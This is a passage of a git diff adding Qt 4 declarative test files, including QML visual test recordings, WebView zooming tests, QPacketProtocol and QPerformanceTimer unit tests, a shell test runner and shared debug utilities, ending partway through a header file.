+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 136; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 140; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 150; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 154; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 160; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3168
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3184
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3200
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3216
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3232
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3248
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3264
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3280
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3296
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3312
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3328
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3344
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3360
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3376
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3392
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3408
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3424
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3440
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3456
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3472
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3488
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3504
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3520
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3536
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3552
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3568
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3584
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3600
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3616
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3632
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3648
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3664
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3680
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3696
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3712
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3728
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3744
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3760
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3776
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 3792
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml b/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml
new file mode 100644
index 00000000..a2b11ac2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ //width: 200
+ //height: 250
+ //url: "resolution.html"
+ // webPageWidth: 400
+ // preferredWidth: 200
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png b/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html
new file mode 100644
index 00000000..1a01a339
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html
@@ -0,0 +1,7 @@
+<html>
+<body>
+<h1>Render Control</h1>
+<p>
+This test shows how zooming and panning can be
+optimized for speed over quality by delaying rendering.
+<img src="qtlogo.png">
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml
new file mode 100644
index 00000000..c07f1e1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Rectangle {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ width: 200
+ height: 250
+ clip: true
+ WebView {
+ id: webview
+ width: 400
+ url: "renderControl.html"
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ NumberAnimation { from: 100; to: 0; duration: 200 }
+ PropertyAction { target: webview; property: "renderingEnabled"; value: false }
+ NumberAnimation { from: 0; to: -100; duration: 200 }
+ PropertyAction { target: webview; property: "renderingEnabled"; value: true }
+ NumberAnimation { from: -100; to: 100; duration: 400 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html
new file mode 100644
index 00000000..75b1e3f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html
@@ -0,0 +1,6 @@
+<html>
+<body>
+<h1>Resolution</h1>
+<p>
+This test shows how zooming can include different resolutions.
+<img src="qtlogo.png">
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml
new file mode 100644
index 00000000..cf5f50f9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ /*
+ width: 200 * zoomFactor
+ height: 250 * zoomFactor
+ scale: 1/zoomFactor
+ url: "resolution.html"
+ SequentialAnimation on zoomFactor {
+ loops: Animation.Infinite
+ NumberAnimation { from: 1; to: 0.25; duration: 2000 }
+ NumberAnimation { from: 0.25; to: 1; duration: 2000 }
+ NumberAnimation { from: 1; to: 5; duration: 2000 }
+ NumberAnimation { from: 5; to: 1; duration: 2000 }
+ }
+ */
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html
new file mode 100644
index 00000000..4997712f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html
@@ -0,0 +1,7 @@
+<html>
+<body>
+<h1>Zoom Text Only</h1>
+<p>
+This test shows how zooming can be done just
+on text, not images.
+<img src="qtlogo.png">
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml
new file mode 100644
index 00000000..03c925f8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ width: 200
+ height: 250
+ url: "zoomTextOnly.html"
+ settings.zoomTextOnly: true
+ /*
+ SequentialAnimation on zoomFactor {
+ loops: Animation.Infinite
+ NumberAnimation { from: 2; to: 0.25; duration: 1000 }
+ NumberAnimation { from: 0.25; to: 2; duration: 1000 }
+ }
+ */
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html
new file mode 100644
index 00000000..4e910353
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html
@@ -0,0 +1,6 @@
+<html>
+<body>
+<h1>Zooming</h1>
+<p>
+This test shows how zooming can be to HTML elements.</p>
+<img src="qtlogo.png">
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml
new file mode 100644
index 00000000..03fd7809
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+// Note that zooming is better done using zoomFactor and careful
+// control of rendering to avoid excessive re-rendering during
+// zoom animations. This test is written for simplicity.
+WebView {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ width: 200
+ height: 250
+ Behavior on x { NumberAnimation { } }
+ Behavior on y { NumberAnimation { } }
+ Behavior on scale { NumberAnimation { } }
+ url: "zooming.html"
+ preferredWidth: width
+ preferredHeight: height
+ onDoubleClick: {console.log(clickX,clickY);heuristicZoom(clickX,clickY,2)}
+ onZoomTo: {console.log(zoom);scale=zoom;x=width/2-centerX;y=height/2-centerY}
+}
diff --git a/tests/auto/declarative/qpacketprotocol/qpacketprotocol.pro b/tests/auto/declarative/qpacketprotocol/qpacketprotocol.pro
new file mode 100644
index 00000000..7ffda931
--- /dev/null
+++ b/tests/auto/declarative/qpacketprotocol/qpacketprotocol.pro
@@ -0,0 +1,9 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += network declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/debugutil_p.h
+SOURCES += tst_qpacketprotocol.cpp \
+ ../shared/debugutil.cpp
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qpacketprotocol/tst_qpacketprotocol.cpp b/tests/auto/declarative/qpacketprotocol/tst_qpacketprotocol.cpp
new file mode 100644
index 00000000..3823eab8
--- /dev/null
+++ b/tests/auto/declarative/qpacketprotocol/tst_qpacketprotocol.cpp
@@ -0,0 +1,263 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QTimer>
+#include <QTcpSocket>
+#include <QTcpServer>
+#include <QDebug>
+#include <QBuffer>
+
+#include <private/qpacketprotocol_p.h>
+
+#include "../shared/debugutil_p.h"
+
+class tst_QPacketProtocol : public QObject
+{
+ Q_OBJECT
+
+private:
+ QTcpServer *m_server;
+ QTcpSocket *m_client;
+ QTcpSocket *m_serverConn;
+
+private slots:
+ void init();
+ void cleanup();
+
+ void maximumPacketSize();
+ void setMaximumPacketSize();
+ void setMaximumPacketSize_data();
+ void send();
+ void send_data();
+ void packetsAvailable();
+ void packetsAvailable_data();
+ void clear();
+ void read();
+ void device();
+
+ void tst_QPacket_clear();
+};
+
+void tst_QPacketProtocol::init()
+{
+ m_server = new QTcpServer(this);
+ m_serverConn = 0;
+ QVERIFY(m_server->listen(QHostAddress("127.0.0.1")));
+
+ m_client = new QTcpSocket(this);
+ m_client->connectToHost(m_server->serverAddress(), m_server->serverPort());
+
+ QVERIFY(m_client->waitForConnected());
+ QVERIFY(m_server->waitForNewConnection());
+ m_serverConn = m_server->nextPendingConnection();
+}
+
+void tst_QPacketProtocol::cleanup()
+{
+ delete m_client;
+ delete m_serverConn;
+ delete m_server;
+}
+
+void tst_QPacketProtocol::maximumPacketSize()
+{
+ QPacketProtocol p(m_client);
+ QCOMPARE(p.maximumPacketSize(), 0x7FFFFFFF);
+}
+
+void tst_QPacketProtocol::setMaximumPacketSize()
+{
+ QFETCH(qint32, size);
+ QFETCH(qint32, expected);
+
+ QPacketProtocol out(m_serverConn);
+ QCOMPARE(out.setMaximumPacketSize(size), expected);
+}
+
+void tst_QPacketProtocol::setMaximumPacketSize_data()
+{
+ QTest::addColumn<int>("size");
+ QTest::addColumn<int>("expected");
+
+ QTest::newRow("invalid") << qint32(sizeof(qint32) - 1) << qint32(0x7FFFFFFF);
+ QTest::newRow("still invalid") << qint32(sizeof(qint32)) << qint32(0x7FFFFFFF);
+ QTest::newRow("valid") << qint32(sizeof(qint32) + 1) << qint32(sizeof(qint32) + 1);
+}
+
+void tst_QPacketProtocol::send()
+{
+ QFETCH(bool, useAutoSend);
+
+ QPacketProtocol in(m_client);
+ QPacketProtocol out(m_serverConn);
+
+ QByteArray ba;
+ int num;
+
+ if (useAutoSend) {
+ out.send() << "Hello world" << 123;
+ } else {
+ QPacket packet;
+ packet << "Hello world" << 123;
+ out.send(packet);
+ }
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&in, SIGNAL(readyRead())));
+
+ QPacket p = in.read();
+ p >> ba >> num;
+ QCOMPARE(ba, QByteArray("Hello world") + '\0');
+ QCOMPARE(num, 123);
+}
+
+void tst_QPacketProtocol::send_data()
+{
+ QTest::addColumn<bool>("useAutoSend");
+
+ QTest::newRow("auto send") << true;
+ QTest::newRow("no auto send") << false;
+}
+
+void tst_QPacketProtocol::packetsAvailable()
+{
+ QFETCH(int, packetCount);
+
+ QPacketProtocol out(m_client);
+ QPacketProtocol in(m_serverConn);
+
+ QCOMPARE(out.packetsAvailable(), qint64(0));
+ QCOMPARE(in.packetsAvailable(), qint64(0));
+
+ for (int i=0; i<packetCount; i++)
+ out.send() << "Hello";
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&in, SIGNAL(readyRead())));
+ QCOMPARE(in.packetsAvailable(), qint64(packetCount));
+}
+
+void tst_QPacketProtocol::packetsAvailable_data()
+{
+ QTest::addColumn<int>("packetCount");
+
+ QTest::newRow("1") << 1;
+ QTest::newRow("2") << 2;
+ QTest::newRow("10") << 10;
+}
+
+void tst_QPacketProtocol::clear()
+{
+ QPacketProtocol in(m_client);
+ QPacketProtocol out(m_serverConn);
+
+ out.send() << 123;
+ out.send() << 456;
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&in, SIGNAL(readyRead())));
+
+ in.clear();
+ QVERIFY(in.read().isEmpty());
+}
+
+void tst_QPacketProtocol::read()
+{
+ QPacketProtocol in(m_client);
+ QPacketProtocol out(m_serverConn);
+
+ QVERIFY(in.read().isEmpty());
+
+ out.send() << 123;
+ out.send() << 456;
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&in, SIGNAL(readyRead())));
+
+ int num;
+
+ QPacket p1 = in.read();
+ QVERIFY(!p1.isEmpty());
+ p1 >> num;
+ QCOMPARE(num, 123);
+
+ QPacket p2 = in.read();
+ QVERIFY(!p2.isEmpty());
+ p2 >> num;
+ QCOMPARE(num, 456);
+
+ QVERIFY(in.read().isEmpty());
+}
+
+void tst_QPacketProtocol::device()
+{
+ QPacketProtocol p(m_client);
+ QVERIFY(p.device() == m_client);
+}
+
+void tst_QPacketProtocol::tst_QPacket_clear()
+{
+ QPacketProtocol protocol(m_client);
+
+ QPacket packet;
+
+ packet << "Hello world!" << 123;
+ protocol.send(packet);
+
+ packet.clear();
+ QVERIFY(packet.isEmpty());
+ packet << "Goodbyte world!" << 789;
+ protocol.send(packet);
+
+ QByteArray ba;
+ int num;
+ QPacketProtocol in(m_serverConn);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&in, SIGNAL(readyRead())));
+
+ QPacket p1 = in.read();
+ p1 >> ba >> num;
+ QCOMPARE(ba, QByteArray("Hello world!") + '\0');
+ QCOMPARE(num, 123);
+
+ QPacket p2 = in.read();
+ p2 >> ba >> num;
+ QCOMPARE(ba, QByteArray("Goodbyte world!") + '\0');
+ QCOMPARE(num, 789);
+}
+
+QTEST_MAIN(tst_QPacketProtocol)
+
+#include "tst_qpacketprotocol.moc"
diff --git a/tests/auto/declarative/qperformancetimer/qperformancetimer.pro b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
new file mode 100644
index 00000000..656bf686
--- /dev/null
+++ b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qperformancetimer.cpp
+macx:CONFIG -= app_bundle
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
new file mode 100644
index 00000000..a1ca13e9
--- /dev/null
+++ b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <private/qperformancetimer_p.h>
+#include <QObject>
+#include <qtest.h>
+
+class tst_qperformancetimer : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_qperformancetimer() {}
+
+private slots:
+ void units();
+};
+
+void tst_qperformancetimer::units()
+{
+ QPerformanceTimer timer;
+ timer.start();
+ QTest::qWait(300);
+ qint64 elapsed = timer.elapsed();
+ QVERIFY(elapsed > 300000000 && elapsed < 310000000);
+}
+
+QTEST_MAIN(tst_qperformancetimer)
+
+#include "tst_qperformancetimer.moc"
diff --git a/tests/auto/declarative/runall.sh b/tests/auto/declarative/runall.sh
new file mode 100755
index 00000000..522be86f
--- /dev/null
+++ b/tests/auto/declarative/runall.sh
@@ -0,0 +1,100 @@
+#!/bin/sh
+#
+#############################################################################
+##
+## Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+## All rights reserved.
+## Contact: Nokia Corporation (qt-info@nokia.com)
+##
+## This file is part of the test suite of the Qt Toolkit.
+##
+## $QT_BEGIN_LICENSE:LGPL$
+## GNU Lesser General Public License Usage
+## This file may be used under the terms of the GNU Lesser General Public
+## License version 2.1 as published by the Free Software Foundation and
+## appearing in the file LICENSE.LGPL included in the packaging of this
+## file. Please review the following information to ensure the GNU Lesser
+## General Public License version 2.1 requirements will be met:
+## http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+##
+## In addition, as a special exception, Nokia gives you certain additional
+## rights. These rights are described in the Nokia Qt LGPL Exception
+## version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+##
+## GNU General Public License Usage
+## Alternatively, this file may be used under the terms of the GNU General
+## Public License version 3.0 as published by the Free Software Foundation
+## and appearing in the file LICENSE.GPL included in the packaging of this
+## file. Please review the following information to ensure the GNU General
+## Public License version 3.0 requirements will be met:
+## http://www.gnu.org/copyleft/gpl.html.
+##
+## Other Usage
+## Alternatively, this file may be used in accordance with the terms and
+## conditions contained in a signed written agreement between you and Nokia.
+##
+##
+##
+##
+##
+## $QT_END_LICENSE$
+##
+############################################################################/
+
+if [ "$(uname)" = Linux ]
+then
+ Xnest :7 2>/dev/null &
+ sleep 1
+ trap "kill $!" EXIT
+ export DISPLAY=:7
+ export LANG=en_US
+ kwin 2>/dev/null &
+ sleep 1
+fi
+
+function filter
+{
+ exe=$1
+ skip=0
+ while read line
+ do
+ if [ $skip != 0 ]
+ then
+ let skip=skip-1
+ else
+ case "$line" in
+ make*Error) echo "$line";;
+ make*Stop) echo "$line";;
+ /*/bin/make*) ;;
+ make*) ;;
+ install*) ;;
+ QDeclarativeDebugServer:*Waiting*) ;;
+ QDeclarativeDebugServer:*Connection*) ;;
+ */qmake*) ;;
+ */bin/moc*) ;;
+ *targ.debug*) ;;
+ g++*) ;;
+ cd*) ;;
+ XFAIL*) skip=1;;
+ SKIP*) skip=1;;
+ PASS*) ;;
+ QDEBUG*) ;;
+ Makefile*) ;;
+ Config*) ;;
+ Totals*) ;;
+ \**) ;;
+ ./*) ;;
+ *tst_*) echo "$line" ;;
+ *) echo "$exe: $line"
+ esac
+ fi
+ done
+}
+
+make -k -j1 install 2>&1 | filter build
+for exe in $(make install | sed -n 's/^install .* "\([^"]*qt4\/tst_[^"]*\)".*/\1/p')
+do
+ echo $exe
+ $exe 2>&1 | filter $exe
+done
+
diff --git a/tests/auto/declarative/shared/debugutil.cpp b/tests/auto/declarative/shared/debugutil.cpp
new file mode 100644
index 00000000..c53a8c19
--- /dev/null
+++ b/tests/auto/declarative/shared/debugutil.cpp
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QSignalSpy>
+#include <QEventLoop>
+#include <QTimer>
+
+#include <private/qdeclarativedebugclient_p.h>
+#include <private/qdeclarativedebugservice_p.h>
+
+#include "debugutil_p.h"
+
+
+bool QDeclarativeDebugTest::waitForSignal(QObject *receiver, const char *member, int timeout) {
+ QEventLoop loop;
+ QTimer timer;
+ timer.setSingleShot(true);
+ QObject::connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit()));
+ QObject::connect(receiver, member, &loop, SLOT(quit()));
+ timer.start(timeout);
+ loop.exec();
+ return timer.isActive();
+}
+
+QDeclarativeDebugTestService::QDeclarativeDebugTestService(const QString &s, QObject *parent)
+ : QDeclarativeDebugService(s, parent)
+{
+}
+
+void QDeclarativeDebugTestService::messageReceived(const QByteArray &ba)
+{
+ sendMessage(ba);
+}
+
+void QDeclarativeDebugTestService::statusChanged(Status)
+{
+ emit statusHasChanged();
+}
+
+
+QDeclarativeDebugTestClient::QDeclarativeDebugTestClient(const QString &s, QDeclarativeDebugConnection *c)
+ : QDeclarativeDebugClient(s, c)
+{
+}
+
+QByteArray QDeclarativeDebugTestClient::waitForResponse()
+{
+ lastMsg.clear();
+ QDeclarativeDebugTest::waitForSignal(this, SIGNAL(serverMessage(QByteArray)));
+ if (lastMsg.isEmpty()) {
+ qWarning() << "tst_QDeclarativeDebugClient: no response from server!";
+ return QByteArray();
+ }
+ return lastMsg;
+}
+
+void QDeclarativeDebugTestClient::statusChanged(Status stat)
+{
+ QCOMPARE(stat, status());
+ emit statusHasChanged();
+}
+
+void QDeclarativeDebugTestClient::messageReceived(const QByteArray &ba)
+{
+ lastMsg = ba;
+ emit serverMessage(ba);
+}
diff --git a/tests/auto/declarative/shared/debugutil_p.h b/tests/auto/declarative/shared/debugutil_p.h
new file mode 100644
index 00000000..61e49286
--- /dev/null
+++ b/tests/auto/declarative/shared/debugutil_p.h
@@ -0,0 +1,94 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QSignalSpy>
+#include <QEventLoop>
+#include <QPointer>
+#include <QTimer>
+#include <QThread>
+#include <QTest>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+
+#include <private/qdeclarativedebugclient_p.h>
+#include <private/qdeclarativedebugservice_p.h>
+#include <private/qdeclarativeitem_p.h>
+
+class QDeclarativeDebugTest
+{
+public:
+ static bool waitForSignal(QObject *receiver, const char *member, int timeout = 5000);
+};
+
+class QDeclarativeDebugTestService : public QDeclarativeDebugService
+{
+ Q_OBJECT
+public:
+ QDeclarativeDebugTestService(const QString &s, QObject *parent = 0);
+
+signals:
+ void statusHasChanged();
+
+protected:
+ virtual void messageReceived(const QByteArray &ba);
+ virtual void statusChanged(Status status);
+};
+
+class QDeclarativeDebugTestClient : public QDeclarativeDebugClient
+{
+ Q_OBJECT
+public:
